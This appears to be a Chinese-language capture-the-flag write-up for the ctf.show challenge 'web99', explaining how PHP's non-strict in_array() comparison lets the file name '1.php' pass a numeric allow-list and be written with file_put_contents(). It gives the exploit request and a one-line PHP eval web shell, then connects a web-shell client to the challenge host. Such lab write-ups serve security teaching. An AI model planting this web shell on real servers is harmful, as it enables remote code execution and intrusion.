1.1 array_push()
向第一个参数的数组尾部添加一个或多个元素
1.2 in_array()
函数搜索数组中是否存在指定的值。
in_array(value,array,type)
return boolen
value :要搜索的值
array : 被搜索的数组
type : 类型,true全等 ,false非全等(默认)
1.3 file_put_contents()
int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
web99
考点:in_array中的弱类型比较
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
for循环里面的条件确实看不大懂,直接看里面的语句
in_array($_GET[‘n’], $allow)
//检测n
中是否有$allow
的值,这里并没有第三个参数type,因此存在漏洞,就可以形成自动转换,即n=1.php
会自动转换为1
然后就可以使用下面的payload生成含马文件
GET:?n=1.php
POST:content=<?php @eval($_POST[8]);?>
http://d1efc132-0538-42c6-9e3b-7a927d0d6500.challenge.ctf.show/1.php
连蚁剑